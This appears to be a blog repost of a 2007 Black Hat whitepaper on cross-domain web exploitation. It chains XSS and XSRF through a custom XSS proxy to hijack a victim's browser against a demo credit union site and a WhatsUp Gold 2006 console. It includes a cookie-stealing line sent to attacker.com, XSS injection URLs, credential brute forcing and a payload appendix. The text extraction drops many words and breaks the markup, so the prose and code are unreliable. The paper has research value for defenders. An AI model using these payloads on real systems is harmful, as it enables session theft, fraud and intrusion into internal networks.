Hacker's Paradise -- Cross Domain Exploitation

BLACKHAT PRESENTATION:

http://www.blackhat.com/presentations/bh-europe-07/Dube-Rios/Whitepaper/bh-eu-07-rios-WP.pdf


<span style="font-size:78%;">Kicking Down the Cross Domain Door March 2007 Techniques for Cross Domain Exploitation Billy Rios Senior Researcher Raghav Dube Senior Researcher Intended Audience This paper assumes the reader has a solid understanding of web application security principles, Cross Scripting (XSS), Cross Site Request Forgery (XSRF), and web browser security mechanisms. This paper provide foundations the various types of exploitation, but then quickly move into more advanced techniques. Please reference section this paper more information regarding individual types attacks. If reader experience XSS, XSRF, and XSS Proxies, reader should proceed directly Chapter (The Attack). Contributing Authors Version Billy Kim Rios Senior Researcher Raghav Dube Senior Researcher Proofreading Palan Annamalai -- Senior Researcher  Kicking Down the Cross Domain Door Table Contents INTENDED

</span>
<span style="font-size:78%;"> AUDIENCE............................................................................................................................ CONTRIBUTING AUTHORS................................................................................................................... PROOFREADING ...................................................................................................................................... CHAPTER 1 IMPLICATION OF CROSS DOMAIN ATTACKS ....................................................... 4 OVERVIEW .............................................................................................................................................. 4 BROWSER SECURITY MEASURES............................................................................................................. 4 CHAPTER 2 ATTACK FOUNDATIONS .............................................................................................. 5 CROSS SITE SCRIPTING (XSS)................................................................................................................. 5 CROSS SITE REQUEST FORGERY (XSRF) ................................................................................................ 6 CHAPTER 3 XSS PROXIES AND FRAMEWORKS ........................................................................... 8 OVERVIEW .............................................................................................................................................. 8 CROSS SITE SNIPER (XS­SNIPER)............................................................................................................ 8 CHAPTER 4 THE ATTACK ................................................................................................................. OVERVIEW ............................................................................................................................................ INITIAL XSS .................................................................................................................................. RECONNAISSANCE FINAL TARGETS........................................................................................... ATTACKING BIGCREDITUNION.COM ..................................................................................................... ATTACKING INTERNAL NETWORK RESOURCE ................................................................................. CHAPTER 5 CONCLUSION................................................................................................................. REFERENCES ........................................................................................................................................... APPENDIX A -- JAVASCRIPT PAYLOADS.......................................................................................... SPOTTER.JS ............................................................................................................................................... EXTERNAL­SPOT.JS ................................................................................................................................... SNIPER SCOPE ........................................................................................................................................... FIREFOX SNIPER SCOPE ............................................................................................................................ SNIPER SCOPE ...................................................................................................................................... XMLHTTP REQUEST (XHR) .................................................................................................................. XHR SNIPER SCOPE.................................................................................................................................. XHR FIREFOX SNIPER SCOPE ................................................................................................................... XHR SNIPER SCOPE ............................................................................................................................. WHATSUP GOLD 2006 SCANNER ............................................................................................................. WHATSUP GOLD 2006 BRUTE FORCER .................................................................................................... NIKTO SCANNER ....................................................................................................................................... APPENDIX B -- SNIPER CODE SNIPPETS........................................................................................... Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door Chapter Implication of Cross Domain Attacks Overview Cross domain requests heart an ongoing battle between developers who strive to provide rich, up minute information from sources located over the world wide web and security professionals who fear cross domain requests could cripple Internet with new classes exploits attacks. Typically requests various domains issue, it becomes issue however, when attacker can masquerade their request if it were from privileged or trusted user. Considering Hypertext Transfer Protocol (HTTP) stateless, there several ways browsers attempt ``state'' a application. This state typically a particular user and their associated privileges after the user has gone through some of authentication process (typically entering username/password combination). Normally, state tracked session cookie, which passed with each request from user's web browser the web application. Normally, the web server associates a particular session cookie value a particular user. sense, web application ``trusts'' that HTTP requests containing the correct session value must have come from the user has associated that particular value. danger domain and cross domain requests arises when attacker piggy back off this established trust. Browser Security Measures order prevent cross domain requests, browsers typically impose significant restrictions cross domain interaction by web browser. Most browsers implement ``Same Origin Policy'', which restricts communication between different domains. The nuances and exact details how browsers enforce same origin policy scope this document, there are some fundamental concepts should understood. simplest sense, same origin policy attempts keep content functionality from domain (attacker.com) from stealing modifying content another domain (victim.com). Without the same origin policy, malicious websites would able read based email, check our online banking account information, and steal other pieces sensitive information from There a exceptions policy (script src, img src...etc), the exceptions very limited. Additionally, most modern browsers allow functionality from one domain to make request content from external domain (via frame location.href...etc), will allow initiating domain view response from cross domain request. The examples presented in paper, abuse the web applications trust of browser and skirt the line permitted and restricted functionality provided the browser.  Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door Chapter Attack Foundations Cross Site Scripting (XSS) XSS typically caused lack adequate input filtering and/or improper output encoding. XSS can allow attacker supply arbitrary client­side code (JavaScript, VBScript... etc.) ultimately rendered executed within browser end user. When this client­side code rendered within the browser user, attacker gain access DOM existing within that browser. Typically, XSS been exploited providing the final payload code executed within actual application parameters passed to application. XSS attacks have matured, attackers have discovered ways dynamically change XSS payloads ``on maximize impact of XSS attacks. This typically done pointing application dynamic JavaScript XSS payload through of injected ``script src'' tags. Once a victim has been XSS'd, the attacker steal DOM items from victims' browser. The stealing of information from victims' browser typically done ferrying off information using ``one way'' client side scripting and HTML requests back attacker. Perhaps most classic example attacker would ferry information from XSS'd victims' browser back the attacker is ``document.cookie'' example. example, attacker uses XSS force victim create request some resource attacker controlled server this case jpg). victim passes the cookie value query string the request and the attacker captures incoming request the file the attacker controlled server. The JavaScript payload may look something getTheCookie new Image(); getTheCookie.src `http://www.attacker.com/images/cookie.jpg?cookie='+document.cookie; Although the above example simply passes victims' cookie back attacker, underlying techniques used ferry various pieces information from the victims' browser the attacker. This technique used extensively throughout examples presented paper. XSS has shown itself powerful attack, allowing attackers to steal various pieces sensitive information. XSS basically gives attacker control over victims' browser, allowing attacker masquerade various requests the victim. Although techniques to prevent XSS seem simple easily implemented, developers finding that completely eliminating XSS from their applications difficult and continuously evolving process. The power given to attacker via XSS and prevalence XSS the ``wild'' make XSS a favorite choice web application hackers.  Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door Cross Site Request Forgery (XSRF) Although Cross Site Request Forgery (XSRF) sounds like Cross Site Scripting (XSS), XSRF completely different type attack. XSRF attacks typically take advantage web applications trust user's web browser. This may have been established because user previously provided correct login credentials application, has active session persistent cookie located their machine, resides in correct space. Additionally, XSRF typically requires attacker craft request parameters would normally be used execute some functionality within web application, forcing attacker have a solid understanding targeted web application before initiating the XSRF. The web application assumes that because request has appropriate ``trust'' (legitimate session cookie, space...etc) and the request contains proper parameters, the request must legitimate and must have originated from the legitimate user. classic example XSRF action shows attacker using XSRF transfer money from victims' bank account attacker controlled bank account (the example based the example presented OWASP web site). The attacker (Billy) decides transfer to friends (Raghav) checking account using www.BigCreditUnion.com. Billy logs the HTTP requests and responses made from computer and notices that when requests a transfer from account Raghav's account following HTTP GET request made: GET /transfer.do?toacct=RAGHAV&amount=1 HTTP/1.1 Cookie: MYCOOKIE=AWSWADJ1LE3UQHJ3AJUAJ5Q5U Host: www.BigCreditUnion.com The web application does a great tying the users' session to appropriate account and subtracts from Billy's account and adds Raghav's account. Being enterprising hacker, Billy understands that this scenario ripe XSRF embeds the following HTML tag website: Now, whenever victim with established session with BigCreditUnion.com visits Billy's website, $10000 transferred out victims' account and placed into Billy's account.  Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door While above example shows only a simple scenario of how XSRF used to exploit victim, it does highlight some strengths and weaknesses XSRF: Strengths: XSRF gives attacker the ability take advantage victim's environment XSRF allows the attacker to make ``one­way'' cross domain request behalf the victim XSRF can used execute some functionality external application XSRF can difficult detect Weaknesses: Verification successful XSRF typically requires side channel. XSRF attacks typically require a detailed understanding target system. Step based processes (although possible) can tricky examples presented this paper, will use XSS and XSRF combination with each other maximize our exploitation efforts.  Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door Chapter XSS Proxies and Frameworks Overview While XSS proxies frameworks are necessary exploitation, they make things easier. While a XSS proxies and frameworks exist public domain, I have chosen create my own. This proxy allows dynamically change JavaScript requested ``script src'' tag typically injected during an XSS attack. Although look and XSS proxy used these examples custom particular tool, the foundation and fundamental concepts used my custom proxy based the XSS­Proxy created Anton Rager (ShmooCon 2005). Cross Site Sniper (XS­Sniper) XS­Sniper name XSS proxy I have created. The basic look and feel XS­Sniper be presented in following screenshots. Captured incoming HTTP requests the XS­Sniper Proxy Dynamic JavaScript Payload execute.js  Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door Once again, XS­Sniper operates under same principles outlined Anton Rager's XSS Proxy. of JavaScript payloads used the examples below will provided Appendix Much other XSS proxies, XS­Sniper simply accepts incoming HTTP request serves a dynamic response controlled attacker. Much the XSS­Proxy, XS­Sniper does require installation a web server or database software. There however, a pieces of functionality provided Sniper that provided XSS­Proxy, these pieces covered following paragraphs. The first piece functionality provided by XS­Sniper is provided XSS­ Proxy is called Sniper Scope. some cases, raw HTML and client scripting difficult to understand taking a look at HTML source of Gmail sometime). Searching through raw HTML and client side code can stymie even most experienced application hacker. In some cases, easier have a browser render HTML client side code order understand exactly what's going The Sniper Scope simply gives attacker the ability render and view captured HTML and client side code. JavaScript payloads capture the HTML currently being viewed XSS'd victim can found various places (attack API, Jeremiah Grossman's Blackhat briefing) and the JavaScript payload used XS­Sniper provided Appendix (Sniper Scope, Firefox Sniper Scope, and Sniper Scope). Dynamic JavaScript Payloads external.js  Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door The JavaScript used XS­Sniper ferry HTML from victim's browser back Sniper works with both Internet Explorer (via POST requests) FireFox (via GET requests). XS­Sniper was built with C#, which allows to make use browser objects. Once the HTML stolen from the victim's browser passed back XS­ Sniper, we render captured HTML browser objected contained within Sniper. screenshots below show Sniper Scope in action. The first screenshot shows webpage the XSS'd victim would in their browser. The second screenshot shows the HTML client side code stolen from the XSS'd victims' browser being rendered Sniper Scope. 

</span>

<span style="font-size:78%;">Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door The Sniper Scope allows the attacker quickly identify and target sensitive information that being displayed the screen, taking advantage the limited time during attack. Additionally, because HTML rendered by a browser object, attacker is view HTML source any time, which can used identify POST parameters and hidden fields needed. The second piece functionality provided XSS­Proxy, the ability handle and organize information stolen from victim into easily understood chunks. Some XSS proxies simply incoming requests force attacker to through logs searching key pieces data. example of these logs presented below. XS­Sniper helps attacker organize and presents captured data in easy to manner, increasing likelihood of a successful time attack. For example, attacker desires, captured HTML can immediately ferried the Sniper Scope and rendered attacker, while captured keystrokes are sent different tab, results from attacker initiated JavaScript Nikto scan are sent yet another tab. screenshots below show some used Sniper to organize information.  Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door This functionality simply accomplished organizing data according parameter names passed from victim XS­Sniper. example, attacker can specify that the parameter ``content'' contain HTML data stolen from the victim. XS­Sniper then waits for a request with the parameter name ``content'' and ferries value of ``content'' parameter the appropriate functionality this case, Sniper Scope). The screenshots below show attacker specifying the parameter HTML content and the parameter logged keystrokes. Organization data stolen from victim key element successful real time attack. examples above show how XS­Sniper organizes data, the attacker should organize data ways that most beneficial to individual attacker. Although concepts this data organization functionality extremely simple, source code snippets showing XS­Sniper handles various parameters are given Appendix Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door Chapter The Attack Overview This chapter walk reader through two different examples of cross domain attacks. These examples range from relatively simple, mildly complex. examples given below were performed in a controlled environment; however the principles outlined here can used against real world systems, please utilize with discretion. The Initial XSS There several attack strategies surrounding how someone into a XSS'd web application. the purposes demonstration, we target fictitious social networking/blogging web application. These sites can attract thousands users who spend hours perusing various bios and comments. Many social networking sites allow users upload HTML (and other) content others see. In scenario, a fictional social networking site named ``www.MyPercent20.com'' was created contains initial XSS (based BlogX). The reason targeting a popular web application (such social networking sites popular blogs) simple, the popularity these sites create ``target rich'' environment with thousands potential victims. Although significant amount of information stolen from users the MyPercent20 web application XSS (and we make of ``friends''), information pertaining to MyPercent20 what are after, merely MyPercent20 springboard other, more interesting domains. case, final targets include: www.BigCreditUnion.com fictitious Credit Union created this demonstration) and HTML management console internal network resource (WhatsUP Gold 2006). Reconnaissance the Final Targets Reconnaissance target vary from target target. The techniques described paper rely upon flaws the final target, making reconnaissance final target essential making cross domain jump. For the purposes this demonstration, will outline some techniques conduct reconnaissance the final targets (www.BigCreditUnion.com and WhatsUP Gold 2006). Our reconnaissance efforts focused identifying XSS exposures the final target. These XSS exposures help attacker make cross domain jump. www.BigCreditUnion.com Reconnaissance Internet facing application generally the simplest. There are several ways initiate reconnaissance of final target. BigCreditUnion.com an Internet facing application, attackers can search XSS vulnerabilities by crawling final target and manually searching XSS the target. XSS clearing houses popular XSS related security boards a great place find XSS vulnerabilities for internet facing applications well (http://sla.ckers.org/forum/read.php?3,44,page=1, http://www.seclists.org...etc)  Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door Internal Network Resource -- HTML management consoles have gained a significant foothold in today's network devices. Most of these management consoles hosted custom (embedded) web servers little/no thought given attacks such XSS XSRF. Although techniques related attacking these devices been demonstrated accomplished security researchers (most notably Jeremiah Grossman Black Hat USA 2006), most examples given not provide ``interactive'' session with affected network device. The next example will present techniques establish control channel to affected internal network resource, which allows attacker view sensitive information and make changes they see Some more effective methods conducting reconnaissance internal network devices include purchasing evaluating demo version the network resource and perusal popular vulnerability/full disclosure mailing lists boards. Attacking BigCreditUnion.com Once have identified XSS injection point final target, it's time jump the external domain. this case, will initial XSS exploit on MyPercent20 create XSRF request our final target, which execute an XSS the final target. The final XSS create control channel (using the victim's browser) between attacker final target. Keep mind XSS exposure anywhere the final target. The example presented below work with both and Firefox browsers. The initial XSS nearly invisible. The attacker takes advantage ``leave a comment'' features popular blogging plant the invisible attack. An examination of HTML source rendered the browser gives a clue how the attack was executed. screenshot below shows embedded XSS attack. The victim merely sees some suspicious comment left visitor  Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door This XSS attack points back XSS proxy have in place, allowing inject dynamic JavaScript payloads initial attack forces victim's browser request JavaScript named spotter.js from the XSS proxy. Spotter.js creates several iframes, user see, three other invisible. These four frames can communicate with each other because they within ``same origin policy'' establish control channel remote attacker. attacker implants initial frames and injects JavaScript payload that forces victim's web browser repeatedly request new payloads from XSS proxy using the setInterval JavaScript function. The spotter.js JavaScript used the proxy is provided in Appendix (spotter.js).
</span>

<span style="font-size:78%;">The injected XSS string myFrame2 (invisible) Control Channel myFrame3 (invisible) Cross Domain Contents crossDomainPostFrame (temp / invisible) POSTs Domain  Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door Making jump external site relativity simple; simply use XSRF target. XSRF typically used pass parameter values external application execute some specific application functionality (change password, transfer money...etc), this case we the XSRF pass application parameters initiate XSS attack against external application. in essence, are using XSS exposure MyPercent20.com send XSRF BigCreditUnion.com, which takes advantage XSS exposure BigCreditUnion.com. Despite fact that we've used the victim's browser request XSS BigCreditUnion.com, and response captured iframe victim's web browser, this frame cannot communicate with the other frames to same origin policy. bypass this restriction we ignore frame to frame communication obstacles and inject JavaScript force the BigCreditUnion application loaded the hidden iframe establish new communication channel with XSS proxy hosted the attacker. We have TWO SEPARATE control channels the victim's browser proxy (one with myPercent20.com and one with BigCreditUnion.com). having separate control channels, attacker able to create HTTP requests receive the HTTP responses to from both myPercent20.com BigCreditUnion.com using the victim's browser. The separate control channels also give attacker access DOM established the victim's browser, myPercent20.com, and BigCreditUnion.com. this example, we establish the second control channel sending XSRF iframe (myFrame3). This will load contents external domain case www.BigCreditUnion.com) into invisible iframe. The following JavaScript loads XSS'd BigCreditUnion.com application into myFrame3: parent.myFrame3.location.href='http://www.bigcreditunion.com/login.asp?acctnum=">'; parent.myFrame3.location.href='http://ww w.bigcreditunion.com/login.asp?acctnum= "><script%20src=http: attacker="">';  Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door Take notice we've pointed injected script to XSS proxy run the attacker however, specify separate JavaScript for external domain (external­spot.js opposed spotter.js). Initially, external­spot.js spotter.js return same JavaScript payloads, having a separate JavaScript external attacks allows issue completely separate JavaScript payloads myPercent20 BigCreditUnion.com. External­spot.js is provided Appendix (external­spot.js). In XS­Sniper, control spotter.js responses ``Active Payload'' textbox and the external­spot.js controlled ``External Active Payload'' text box. Now have established control channel with BigCreditUnion, attacker must drive interaction, the victim cannot see interact with invisible frame containing BigCreditUnion.com. drive interaction through of XMLHTTPRequest (XHR) object. By using XHR object, can drive interaction with BigCreditUnion loaded the invisible iframe. The XHR JavaScript used this example provided Appendix (XML HTTP Request). Although iframe invisible the victim, attacker is able ferry the HTML source from the invisible frame back XS­Sniper. When XS­Sniper receives HTML source, it renders the HTML browser object, allowing ``spy'' contents invisible iframe. The JavaScript used ferry HTML back XS­Sniper included Appendix (XHR Sniper Scope XHR Firefox Sniper Scope, and XHR Sniper Scope). We select pages we want ``spy'' requesting page with the XHR function provided the Appendix (XHR Sniper Scope). Our example shows attacker piggy­backing established session browsing victim's account information.  Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door The example above assumes the victim has active session established with BigCreditUnion.com however, even if user doesn't have an established session with BigCreditUnion.com, we free execute several attacks against web application. Using the XHR request, we ``Nikto'' type scan against BigCreditUnion.com. JavaScript Nikto scan is provided in Appendix (Nikto Scanner). sake of clarity, only payloads from the Nikto scan included, reader free add many as they wish. The screenshots below show Nikto scan being against BigCreditUnion.com.  Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door Running Nikto scan against web server using victim's browser can give attacker good baseline future attacks, because the attacker is ferrying HTML from BigCreditUnion.com back the proxy, the attacker is able analyze HTML source other vulnerabilities. Once attacker identified a  Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door potential vulnerability, attacker can manually test vulnerabilities submitting GET and POST requests using XHR. The screenshots below show the attacker manually exploiting SQL injection vulnerability BigCreditUnion.com through the XHR object.
</script%20src=http:></span>

<span style="font-size:78%;"><script%20src=http: attacker="">the attacker tests various exploits against BigCreditUnion.com, the attacker is able see the responses from application, allowing attacker focus attacks even further extract valuable data needed. added bonus, when administrators BigCreditUnion.com comb their logs evidence, their logs victim!  Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door Response from SQL Injection Showing Interesting Table in the Database  Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door Attacking an Internal Network Resource Attacking internal network resources adds complexity and typically changes attack landscape. Attacks against internal network resources typically targeted towards large corporations with large numbers of network devices and enterprise software (although home users risk too). The next example will present scenario an attacker using employee's web browser attack the internal network resources large corporation. specific example uses Firefox browser (2.0), but similar techniques can used with this example, we target popular network management software suite with known XSS vulnerabilities (WhatsUp Gold 2006 Ipswitch). Although example specific WhatsUp Gold, same principles be applied ANY WEB APPLICATION with XSS vulnerabilities! selected WhatsUp Gold because it used extensively corporations their internal networks is rarely seen Internet facing machines. This allows further drive home we now attacking a company's INTERNAL assets. Also, network monitoring tools are especially valuable attackers, because they used to quickly footprint entire organizations internal network layout, giving the attacker additional targets their exact locations. Once again, these principles applied to ANY web application with XSS vulnerabilities and this example could have easily shown attacks against popular database HTTP management consoles, internal team sharing portals, firewall/router HTTP management consoles, other web application software with XSS vulnerabilities running a corporation's internal network. This attack begins with reconnaissance internal network resource wish attack. Although enumerating identifying vulnerabilities associated internal network resources represents one the more tedious portions attack, attackers aided fact that most of network devices and enterprise software used major corporations, also publicly available (via demos or other means). Vulnerabilities for enterprise level software can also found scattered amongst thousands security forums, bulletins, and blogs, helping attacker build their arsenal attacks. situation is exacerbated by relaxed attitude towards keeping internal resources date, popularity HTTP applications company intranets, and prevalence of stripped down embedded web servers running network devices (``but hey, we don't need worry about that kind of stuff...we've got great firewall!''). Through research various security forums, bulletins, and blogs, combined with access software demos trials, attacker could build a database known XSS vulnerabilities related to internal application software and network devices. The screenshot below shows attacker researching XSS vulnerabilities related WhatsUP Gold 2006 from various public sources.  Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door Although several XSS vulnerabilities exist WhatsUP Gold 2006 application servers, will use following XSS vulnerability for example. http://WhatsUPGoldServer/NmConsole/ToolResults.asp?bIsIE=true&nToolType=0&sHo stname=<script%20src=http: com="" test="">&nTimeout=2000&nCount=1&nSize=32&btnPing=Ping Once attacker has built of known XSS vulnerabilities their targeted internal web application, attacker begins attack planting the initial XSS attack popular, target web application, like mypercent20.com. Once the attacker found a suitable victim, the attacker begin enumerating HTTP servers the victim's internal network using well known techniques ``port­scan'' HTTP servers victim's internal network (Spidynamics has a great JavaScript port­scanner). We further enumerate our targets searching known images which helps narrow attacks needed. some cases, we identify the specific version web application running querying these known images. The screenshot below shows attacker using JavaScript port scanner image requests discover where WhatsUP Gold 2006 server located victim's internal network. The JavaScript used identify WhatsUP Gold 2006 servers the victim's intranet provided Appendix (WhatsUP Gold 2006 Scanner).  Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door For sake clarity, we confine XSS payloads single known XSS vulnerability associated with WhatsUP Gold 2006. We will also confine fingerprinting efforts WhatsUP Gold 2006 HTTP servers over small subset addresses. In a real world scenario, attacker would attempt fingerprint several different application servers. The attacker would also have XSS vulnerabilities several versions targeted software. The attacker would use information gathered from the ``portscan'' and fingerprinting, match XSS vulnerabilities discovered hosts. Once attacker has identified the WhatsUP Gold server, the attacker would attempt establish interactive session through the victim's browser and the network resource (much like BigCreditUnion example). The attacker piggybacks any established trusts between internal network resource and victim's browser. victim happens logged into the WhatsUP Gold network management console, can masquerade the victim and attack is straight forward. this example (as probably world), victim will logged into the WhatsUP Gold management console. fact, more likely that victim: Has never heard WhatsUP Gold Fills some in organization NEVER have established session with the WhatsUP Gold server. software are targeting has XSS vulnerability in a non­authenticated portion the site, free jump this XSS point conduct attacks similar those described the BigCreditUnion example (including brute forcing login credentials). sake example (and add some realism the attack), assume XSS vulnerabilities exist in non­authenticated portions WhatsUP Gold 2006 software. With no XSS vulnerabilities the non­authenticated portions the WhatsUP Gold web application, active sessions between the victim WhatsUP Gold server, the attacker must use other techniques force authenticated session  Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door between victim's browser and WhatsUP Gold web application. One such technique brute force possible username and passwords. The attacker creates username and passwords which sent the login page WhatsUP Gold web application. sake clarity, limit our username password three different usernames and three different passwords. real world scenario, attacker would have larger username password list. The list will use presented below. Once attacker has built suitable username and passwords, the attacker examine username and passwords are passed web application. Although attacker step through the WhatsUP Gold authentication process several ways, the simplest way scenario download trial version software and capture the appropriate POST parameters. this instance, capture following POST parameters during login process. POST /NmConsole/Login.asp HTTP/1.1 Host: WhatsUPGoldServer (POST PARAMETERS) blsJavaScriptDisabled=false&sLoginUserName=USERNAME &sLoginPassword=PASSWORD&btnLogin=Log+In&blsIE=true Although most HTTP servers allow POST parameters passed GET query string parameters, HTTP server associated WhatsUP Gold 2006 does not. This makes the example below little more complicated, but more realistic. Using invisible iframes (myFrame3), attacker will POST Login.asp page with set credentials from our username/password list (XSRF). We this writing the form elements to invisible iframe and using JavaScript automatically submit form. attacker follows POST credentials to Login.asp page with ``authenticated only'' XSS request (another XSRF, with a twist). If username and password combination have attempted is invalid, the XSS request simply fail, redirecting invisible iframe back Login.asp page. The attacker then moves username and passwords the pre­built If username and password combination attacker attempts is VALID, then the WhatsUP Gold 2006 server issue the victim's browser session cookie. The attacker then piggybacks this newly established session a request the ``authenticated only'' XSS, XSRF. The attacker uses XSS establish control channel with WhatsUP Gold server through victim's browser. Once attacker has a control channel WhatsUP Gold management console, free view sensitive network  Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door information and make changes they desire. The screenshots below show the attacker brute forcing login credentials and driving interaction victim's browser WhatsUP Gold server via established XSS control channel the XHR object. The first screenshot shows the attacker calling getGold() JavaScript function. The getGold JavaScript automates credential brute­forcing. getGold JavaScript function loads username and password combinations from usernameList passwordList JavaScript arrays (shown an earlier screenshot) into loop and POSTs various username password combinations to WhatsUP Gold 2006 server. follows each POSTs credentials with ``authenticated only'' XSS. The JavaScript getGold provided in Appendix (WhatsUP Gold 2006 Brute Forcer). Once correct credentials have been brute forced by getGold function, the follow ``authenticated only'' XSS establishes control channel between the WhatsUP Gold 2006 server and the attacker the victim's browser. The screenshot below shows that execution the injected JavaScript was successful. The alternating requests execute.js and external.js show we have two control channels victim's browser, one control channel MyPercent20 and one control channel to WhatsUP Gold 2006 (much like BigCreditUnion example).  Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door Once attacker has established control channel with the WhatsUP Gold 2006 server, attacker can drive interaction with the WhatsUP Gold server the XHR function (much like BigCreditUnion example). The screenshot below shows attacker driving invisible iframe Configure.asp page WhatsUP Gold 2006 server. Once attacker drives the invisible frame to Configure.asp page, attacker view rendered HTML from Configure.asp page. The screenshot below shows attacker using Sniper Scope view the captured HTML from the Configure.asp page. From here, attacker chooses next step the attack, this case, ``Manage Users''

</script%20src=http:></script%20src=http:></span>

<span style="font-size:78%;"><script%20src=http: attacker=""><script%20src=http: com="" test="">Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door Once again, attacker drives the invisible frame to ``Manage Users'' page through use the XHR function. Once the ``Manage Users'' page requested XHR, attacker views rendered HTML Sniper Scope. These two steps shown screenshots below. Once attacker identifies specific user account view, the attacker simply crafts another XHR request the appropriate page. example, attacker drives invisible iframe ``EditUser.asp'' page and passes appropriate parameters view the details the ``Admin'' account. Once request has been made, attacker view rendered HTML Sniper Scope. Additionally, because the Sniper  Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door Scope browser object, attacker can view details contained the HTML source the page. The screenshots below show the attacker initiating steps necessary drive the invisible frame capturing ``Internal Password'' admin user, which plaintext the HTML source.  Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door Chapter Conclusion Using techniques described above, were able attack external application XSS XSRF. We were also gain access an internal network resource using victim's browser sort proxy. We were able gain access internal network device despite fact that victim never had established session internal network device. Although examples presented above were limited BigCreditUnion.com and WhatsUP Gold 2006, underlying principles can used attack any web server vulnerable XSS XSRF. Web browsers have become essential any computer user, both home at work. users become more and more comfortable with using browsers, attacks described above become more more commonplace. client side technologies advance (JavaScript, VBScript, Flash, Applets, PDFs, Embedded movies...etc), will attacks that utilize these client side technologies. more and more content delivered and from browsers, these attacks become more and more difficult detect. The examples presented above, along with previous examples (Hacking Intranet Websites from Outside, JavaScript Port­Scanning...etc), point dangerous trend; bypassing of firewall protections and the attacking the vulnerable ``guts'' of organization. Our appreciation firewalls morphed into a dependency and deep reliance firewalls ``protect'' invaluable data stored un­patched un­maintained systems. The armor provided firewalls is strong, and time tested, does however have one ``chink'', chink HTTP. necessity web based traffic has forced allow exceptions firewall rule sets. Initially, this exception basically meant that only HTML could traverse the chasm between an organization's internal network and Internet. Today, this exception means HTML, Images, JavaScript, VBScript, LiveScript, Flash, Java Applets, PDFs, Mpegs, a plethora other technologies traverse chasm known firewall. These technologies being abused attackers gain ``staging point'' your internal network attacks against your internal network resources. These attacks maturing sophistication these attacks advancing alarming speeds. So what can done, input validation? same origin policy? one time tokens? Web application developers application security experts are struggling answers. While application developers and application security experts struggle find solutions the growing number client side attacks, network administrators must and wait for ``application guys'' their problems, must take action protect their internal assets, your internal assets have now become our newest targets. ­BK­  Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door References Reflections Trusting Trust Ken Thompson Communication the ACM, August 1984, 761­763 Unknown Force Document. -- 4. Unknown Force Document. -- N/A RSnake -- http://ha.ckers.org/ Jeremiah Grossman -- http://jeremiahgrossman.blogspot.com/ Hacking Intranet Websites from the Outside "JavaScript malware just got a more dangerous" Jeremiah Grossman & Niedzialkowski, Whitehat Security http://www.blackhat.com/presentations/bh­usa­06/BH­US­06­Grossman.pdf XSS­Proxy, Advanced XSS Attacks -- Anton Rager, Avaya -- http://xss­ proxy.sourceforge.net/ Analysis Web Application Worms and Viruses Billy Hoffman, SPIDynamics ­ http://www.blackhat.com/presentations/bh­usa­06/BH­US­06­Hoffman_web.pdf The Cross­Site Request Forgery (CSRF/XSRF) FAQ Robert Auger, CGI Security -- http://www.cgisecurity.com/articles/csrf­faq.shtml Cross­Site Scripting -- SPIDynamics -- http://www.spidynamics.com/whitepapers/SPIcross­sitescripting.pdf JavaScript Port­Scanning Various Sources -- http://www.spidynamics.com/spilabs/js­ port­scan/, http://www.gnucitizen.org/projects/javascript­port­scanner/, http://ha.ckers.org/blog/20060802/javascript­port­scanners/ Degrees XSSploitation -- Dan Moniz & Moore -- Blackhat Briefings USA 2006 "The Cross Site Scripting FAQ" CGI Security ­ http://www.cgisecurity.com/articles/xss­faq.shtml  Kicking Down the Cross Domain Door March 2007 Kicking Down the Cross Domain Door Appendix JavaScript Payloads Spotter.js parent.document.write(''); randomnumber=Math.floor(Math.random()*1000001); function spotter(){ bigframe=parent.document.documentElement.innerHTML; iframeHTML='<iframe name="myFrame" iframe="" id="myFrame" frameborder="0" height="100%" scrolling="auto" width="100%"></iframe>'; iframeHTML+='<iframe name="myFrame2" iframe="" id="myFrame2" frameborder="0" height="0%" scrolling="auto" width="0%"></iframe>'; iframeHTML+='<iframe name="myFrame3" iframe="" id="myFrame3" frameborder="0" height="0%" scrolling="auto" width="0%"></iframe><script src="http://%IPPLACEHOLDER%/test/execute.js?trigger=%22+randomnumber+%22">"; controlFrameHTML "</script>';

</script%20src=http:></script%20src=http:></span>
